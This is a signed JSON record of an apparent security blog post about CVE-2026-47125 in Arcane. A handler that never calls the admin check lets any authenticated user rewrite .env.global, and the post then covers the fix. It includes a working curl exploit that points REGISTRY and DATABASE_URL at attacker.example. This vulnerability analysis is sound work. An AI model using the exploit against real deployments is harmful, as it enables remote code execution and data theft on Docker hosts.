-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"Arcane's `backend/api/handlers/helpers.go:12` defines a function called `checkAdminInternal`. It checks `IsAdminFromContext` and returns 403 if the caller is not an admin. Eleven sibling handler files in the same Go package call that function eighty-one times between them. `backend/api/handlers/templates.go` calls it zero times.\n\nCVE-2026-47125 is the bug where an authenticated non-admin user with a bearer token issued `PUT /api/environments/0/templates/variables`, overwrote the `.env.global` file Arcane substitutes into every project's docker-compose, redirected `${REGISTRY}` at a host they controlled, and waited for the daemon to pull the next image.\n\n## The admin check was a function the handler had to remember to call.\n\nEvery Huma operation in Arcane declares its security requirement at registration. In v1.19.1, `RegisterTemplates` registered `UpdateGlobalVariables` like this:\n\n```go\nhuma.Register(api, huma.Operation{\n OperationID: \"updateGlobalVariables\",\n Method: \"PUT\",\n Path: \"/environments/{id}/templates/variables\",\n Summary: \"Update global template variables\",\n Description: \"Update global template variables for an environment\",\n Tags: []string{\"Templates\"},\n Security: []map[string][]string{\n {\"BearerAuth\": {}},\n {\"ApiKeyAuth\": {}},\n },\n}, h.UpdateGlobalVariables)\n```\n\nThe `Security` block runs `AuthBridge` from `backend/api/middleware/auth.go`. The bridge validates the bearer token or API key, looks up the user, and stores the user object plus a boolean `ContextKeyUserIsAdmin` in the request context. It is an authentication primitive. It is not an authorization primitive. The token belonged to a user; that user might or might not hold the admin role.\n\nAuthorization, in v1.19.1, lived inside each handler body. `helpers.go:12`:\n\n```go\n// checkAdminInternal checks if the current user is an admin and returns a 403 error if not.\nfunc checkAdminInternal(ctx context.Context) error {\n if !humamw.IsAdminFromContext(ctx) {\n return huma.Error403Forbidden(\"admin access required\")\n }\n return nil\n}\n```\n\nThe helper is one if-statement and a 403. The handler that wants admin gating writes one line at the top:\n\n```go\nif err := checkAdminInternal(ctx); err != nil {\n return nil, err\n}\n```\n\nAcross the `backend/api/handlers` package in v1.19.1, that line appears eighty-one times: five times in `apikeys.go`, five in `container_registries.go`, ten in `environments.go`, four in `events.go`, five in `git_repositories.go`, eight in `notifications.go`, three in `settings.go`, twenty-eight in `swarm.go`, six in `system.go`, two in `updater.go`, five in `users.go`.\n\n`templates.go` accounts for none of them. The full body of `UpdateGlobalVariables` in v1.19.1 reads:\n\n```go\nfunc (h *TemplateHandler) UpdateGlobalVariables(ctx context.Context, input *UpdateGlobalVariablesInput) (*UpdateGlobalVariablesOutput, error) {\n if h.templateService == nil {\n return nil, huma.Error500InternalServerError(\"service not available\")\n }\n\n if input.EnvironmentID != \"0\" {\n return h.updateGlobalVariablesForRemoteEnvironmentInternal(ctx, input)\n }\n\n if err := h.templateService.UpdateGlobalVariables(ctx, input.Body.Variables); err != nil {\n return nil, huma.Error500InternalServerError((&common.GlobalVariablesUpdateError{Err: err}).Error())\n }\n\n return &UpdateGlobalVariablesOutput{\n Body: base.ApiResponse[base.MessageResponse]{\n Success: true,\n Data: base.MessageResponse{\n Message: \"Global variables updated successfully\",\n },\n },\n }, nil\n}\n```\n\nThere is no `checkAdminInternal`. There is no role lookup on the path between `Security: [\"BearerAuth\", \"ApiKeyAuth\"]` and `s.templateService.UpdateGlobalVariables`. The handler accepts whichever authenticated user reaches it and writes the variable list they sent into `.env.global` on the Arcane host.\n\nThe same template registrar declared six operations behind the same Security block: `FetchRegistry`, `CreateRegistry`, `UpdateRegistry`, `DeleteRegistry`, `GetGlobalVariables`, and `UpdateGlobalVariables`. None of them called `checkAdminInternal` either. Six chances to opt in to admin gating. Zero opt-ins.\n\n## .env.global is the substitution map every project reads.\n\n`backend/pkg/projects/env.go:65` defines `EnvLoader.LoadEnvironment`, which every project's compose evaluation passes through:\n\n```go\nfunc (l *EnvLoader) LoadEnvironment(ctx context.Context) (envMap EnvMap, injectionVars EnvMap, err error) {\n envMap = l.loadProcessEnv()\n injectionVars = make(EnvMap)\n\n if strings.TrimSpace(l.projectsDir) != \"\" {\n globalEnvPath := filepath.Join(l.projectsDir, GlobalEnvFileName)\n if err := l.loadAndMergeGlobalEnv(ctx, globalEnvPath, envMap, injectionVars); err != nil && !errors.Is(err, os.ErrNotExist) {\n slog.WarnContext(ctx, \"Failed to load global env\", \"path\", globalEnvPath, \"error\", err)\n }\n }\n\n projectEnvPath := filepath.Join(l.workdir, EffectiveEnvFileName)\n if err := l.loadAndMergeProjectEnv(ctx, projectEnvPath, envMap, injectionVars); err != nil {\n slog.WarnContext(ctx, \"Failed to load project env\", \"path\", projectEnvPath, \"error\", err)\n }\n\n return envMap, injectionVars, nil\n}\n```\n\n`GlobalEnvFileName` is `.env.global`. Its key-value pairs flow through `loadAndMergeGlobalEnv` into the `injectionVars` map, and that map is what `project_service.go` and `custom_labels.go` hand to compose-go's variable resolver. Every `${VAR}` reference in every project's compose file resolves against that map.\n\nArcane's own design treats `.env.global` as host infrastructure config. The operator declares `${REGISTRY}`, `${IMAGE_TAG}`, `${DATABASE_URL}`, `${SECRET_KEY}` once at the host level, and project compose files reference those names. That is the legitimate use of the file, and that is why the maintainer added a per-handler authorization check on apikeys, environments, swarm, users, and notifications: those endpoints touch host trust. The endpoint that writes `.env.global` is in the same trust tier. The handler did not act like it.\n\nA non-admin caller with a valid bearer token, the kind Arcane issues to any user it has provisioned for read-only project access, can run:\n\n```bash\ncurl -X PUT 'https://arcane.example/api/environments/0/templates/variables' \\\n -H 'Authorization: Bearer ' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"variables\": [\n {\"key\": \"REGISTRY\", \"value\": \"attacker.example\"},\n {\"key\": \"DATABASE_URL\", \"value\": \"postgres://attacker.example:5432/exfil\"},\n {\"key\": \"SECRET_KEY\", \"value\": \"value-the-caller-chose\"}\n ]\n }'\n```\n\nThe handler reads `EnvironmentID == \"0\"`, takes the local branch, and `s.templateService.UpdateGlobalVariables` writes a new `.env.global` rooted at the projects directory. The next time any project's compose is rendered for `docker compose up`, `${REGISTRY}/myorg/myapp:${TAG}` resolves to `attacker.example/myorg/myapp:`. The Docker daemon on the Arcane host pulls and runs the attacker's image with whatever privileges that project's compose declared. Other projects' `${DATABASE_URL}` references now point at the attacker's database. Other projects' `${SECRET_KEY}` is the literal string the caller chose.\n\nThe chain from PUT to RCE on the Docker host runs through no further escalation. The bridge is `${VAR}` substitution doing exactly what compose-go was designed to do, on a `.env.global` whose admin contract was documentation rather than code.\n\n## Eleven handler files called the helper. Fourteen never did.\n\n`grep -l checkAdminInternal backend/api/handlers/*.go` on the v1.19.1 tag prints twelve files (eleven callers plus `helpers.go` itself). `grep -L checkAdminInternal backend/api/handlers/*.go`, the inverse, prints the files that never call it. With the tests, login flows, dashboards, and asset servers removed, the list of resource handlers that never called the admin helper is:\n\n```\nbuild_workspaces.go\ncontainers.go\nedge_mtls_ca.go\ngitops_syncs.go\nimage_updates.go\nimages.go\njob_schedules.go\nnetworks.go\noidc.go\nports.go\nprojects.go\ntemplates.go\nversion.go\nvolumes.go\nvulnerabilities.go\nwebhooks.go\n```\n\nSixteen handler files for the resources Arcane manages. Some of those endpoints were intended to admit any authenticated caller (a non-admin operator might legitimately list networks attached to their own project). Some were intended for admins only (gitops sync configuration, webhook registration, edge mTLS CA management, the template global variables endpoint the CVE names). The package-level decision on whether to gate was the per-handler decision on whether to call the helper. The author of each handler answered the question independently, and the answers diverged.\n\nThis is the `parallel-implementation-gap` pattern. The canonical module imports a security check from a shared utility and enforces it; a divergent module, written separately, never imports it. Here the parallel modules are handler files inside one package and the import is free because they share the package, but the call site is still the per-file choice. The CVE names one of the divergent modules.\n\nThe shape produced [Open WebUI's CVE-2026-45395](/posts/open-webui-cve-2026-45395-create-asked-update-did-not) in May, where the create endpoint asked for `workspace.tools` and the update endpoint asked for a per-resource write grant, both reaching the same `exec()`. The Open WebUI gap was between two authorization models; the Arcane gap is one step coarser. The author was not picking between gates. The author was deciding whether the gate ran at all. Eleven handler files said yes. Fourteen said nothing.\n\n## The fix invented declarative gating it could have invented on day one.\n\nCommit `3185f750`, titled \"refactor: create admin role middleware for each endpoint,\" landed in v1.19.2 on May 13, 2026. It does two things at once, and the fact that the patch ships both is the testimony.\n\nFirst, it creates `backend/api/middleware/role.go`, a twenty-four-line file that did not exist in v1.19.1:\n\n```go\n// RequireAdmin returns a per-operation Huma middleware slice that returns 403\n// to non-admin callers. Attach via Operation.Middlewares:\n//\n//\thuma.Register(api, huma.Operation{..., Middlewares: middleware.RequireAdmin(api)}, h.Handler)\nfunc RequireAdmin(api huma.API) huma.Middlewares {\n return huma.Middlewares{func(ctx huma.Context, next func(huma.Context)) {\n if !IsAdminFromContext(ctx.Context()) {\n if err := huma.WriteErr(api, ctx, http.StatusForbidden, \"admin access required\"); err != nil {\n slog.WarnContext(ctx.Context(), \"failed to write 403 response\", \"error\", err)\n }\n return\n }\n next(ctx)\n }}\n}\n```\n\n`RequireAdmin` is attached to operations declaratively at registration. Across the patch, the line `Middlewares: humamw.RequireAdmin(api)` is added to operation registrations 141 times. The templates registrar picks up six of those:\n\n```diff\n huma.Register(api, huma.Operation{\n OperationID: \"updateGlobalVariables\",\n Method: \"PUT\",\n Path: \"/environments/{id}/templates/variables\",\n ...\n Security: []map[string][]string{\n {\"BearerAuth\": {}},\n {\"ApiKeyAuth\": {}},\n },\n+ Middlewares: humamw.RequireAdmin(api),\n }, h.UpdateGlobalVariables)\n```\n\nSecond, the patch adds `checkAdminInternal(ctx)` inside the body of sixty handlers that previously had none, including all six template handlers:\n\n```diff\n // UpdateGlobalVariables updates global template variables.\n func (h *TemplateHandler) UpdateGlobalVariables(ctx context.Context, input *UpdateGlobalVariablesInput) (*UpdateGlobalVariablesOutput, error) {\n+ if err := checkAdminInternal(ctx); err != nil {\n+ return nil, err\n+ }\n if h.templateService == nil {\n return nil, huma.Error500InternalServerError(\"service not available\")\n }\n```\n\nThe handler-body addition is redundant with the operation-level middleware. The patch ships both. The maintainer who had just lived through an eighty-one-callers-versus-zero gap declined to ship the middleware on its own. The fix is defense in depth against the failure mode it is fixing.\n\nThe Huma `Operation.Middlewares` field that `RequireAdmin` plugs into existed in v1.19.1. The `IsAdminFromContext` helper it wraps existed in v1.19.1. The `humamw` package the middleware lives in existed in v1.19.1. Every component of `RequireAdmin` was already in the codebase. The twenty-four lines that compose them are what was missing, and what was missing meant the gate was a function the templates handler chose not to call.\n\nThe same commit also introduces `envKeyPattern = regexp.MustCompile`(`` `^[A-Za-z_][A-Za-z0-9_]*$` ``) and rejects keys that do not match a POSIX env-name shape. The validation was added because, in the absence of the admin gate, the bug also let any authenticated user write arbitrary bytes into `.env.global`, and the maintainer wanted to bound that surface even with the gate restored. The key-pattern fix is what defense in depth looks like when you no longer trust the perimeter you just patched.\n\n## The design debt was the call site.\n\nThe maintainer's commit message reads \"create admin role middleware for each endpoint.\" That is the design fix. The model in v1.19.1, where authorization was a function call in the handler body, was the design debt that produced the gap: every new handler was one more chance to forget. The model in v1.19.2, where authorization is a property of the operation registration, makes the per-handler decision a missing line of declarative metadata rather than a missing line of imperative code. Code review reads declarative metadata differently than it reads imperative code. So does grep.\n\nThe `design-debt-driver` pattern says: a component whose bug class keeps recurring, where patches address symptoms and the design holds the primitive. Arcane's templates handler is one symptom. The other thirteen handler files that never called `checkAdminInternal` were thirteen more candidates the same author had been deciding case-by-case for as long as the API had existed. The patch addresses sixty of those symptoms in one sweep and rewires the design to a model that does not produce the next one. That rewire is what was always available. It took the CVE for the rewire to ship.\n\nPoC: [GHSA-jpjh-jm2p-39hh](https://github.com/advisories/GHSA-jpjh-jm2p-39hh).","closing_line":"The function existed in v1.19.1. The templates handler did not call it.","hook_md":"Arcane's `backend/api/handlers/helpers.go:12` defines a function called `checkAdminInternal`. It checks `IsAdminFromContext` and returns 403 if the caller is not an admin. Eleven sibling handler files in the same Go package call that function eighty-one times between them. `backend/api/handlers/templates.go` calls it zero times.\n\nCVE-2026-47125 is the bug where an authenticated non-admin user with a bearer token issued `PUT /api/environments/0/templates/variables`, overwrote the `.env.global` file Arcane substitutes into every project's docker-compose, redirected `${REGISTRY}` at a host they controlled, and waited for the daemon to pull the next image.","post_id":577,"slug":"arcane-cve-2026-47125-admin-was-opt-in","title":"CVE-2026-47125: Arcane's Admin Check Was Opt-In. The Templates Handler Did Not Opt In.","type":"initial","unreadable_sentence":"checkAdminInternal had eighty-one callers in the same Go package. The templates handler was not one of them."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCarbDggAKCRDeZjl4jgkQ JjSjAP4sWo++EbSjRBdfFD6q2US4Ca65nyj1488/sVYBO+S4TgEAxo9if6I7r79J XtZbQ2jat9wfI+IYxUBZMq000IfeIA4= =lW8n -----END PGP SIGNATURE-----